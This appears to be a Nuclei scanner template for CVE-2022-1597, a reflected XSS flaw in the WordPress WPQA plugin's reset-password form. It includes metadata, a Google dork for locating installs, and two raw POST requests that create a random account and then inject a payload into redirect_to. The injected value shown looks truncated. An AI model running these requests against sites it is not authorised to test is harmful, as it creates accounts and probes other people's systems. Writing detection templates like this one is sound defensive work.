id: CVE-2022-1597 info: name: WordPress WPQA <5.4 - Cross-Site Scripting author: veshraj severity: medium description: | WordPress WPQA plugin prior to 5.4 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter on its reset password form. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions. remediation: | Upgrade WordPress WPQA to version 5.4 or later, which includes proper input sanitization to mitigate this vulnerability. reference: - https://wpscan.com/vulnerability/faff9484-9fc7-4300-bdad-9cd8a30a9a4e - https://nvd.nist.gov/vuln/detail/CVE-2022-1597 - https://github.com/trhacknon/Pocingit - https://github.com/ARPSyndicate/cvemon - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-1597 cwe-id: CWE-79 epss-score: 0.00188 epss-percentile: 0.56053 cpe: cpe:2.3:a:2code:wpqa_builder:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: 2code product: wpqa_builder framework: wordpress google-query: inurl:/wp-content/plugins/wpqa tags: cve,cve2022,wpscan,xss,wordpress,wp-plugin,wp,wpqa,2code variables: user: "{{to_lower(rand_base(5))}}" pass: "{{user}}{{to_lower(rand_base(3))}}" redirect_to: '">' http: - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 Content-Type: application/x-www-form-urlencoded user_name={{user}}&email={{user}}@{{Host}}&pass1={{pass}}&pass2={{pass}}&phone={{rand_text_numeric(10)}}&agree_terms=on&form_type=wpqa-signup&action=wpqa_ajax_signup_process - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 Content-Type: application/x-www-form-urlencoded user_mail={{user}}@{{Host}}&form_type=wpqa_forget&action=wpqa_ajax_password_process&redirect_to={{url_encode(redirect_to)}} matchers-condition: and matchers: - type: word part: body words: - '{{redirect_to}}' - '"success":1' condition: and - type: word part: header words: - text/html - type: status status: - 200 # digest: 490a0046304402202b14fb025589a0da7b7ca42668477b6ed0f3fde4644916b2e13a9afb2ca9fa9b0220083f1475a9b49f66f6373480b6ede39f3501beb8cc84c3d1dfe04aad6fea3a2c:922c64590222798bb761d5b6d8e72950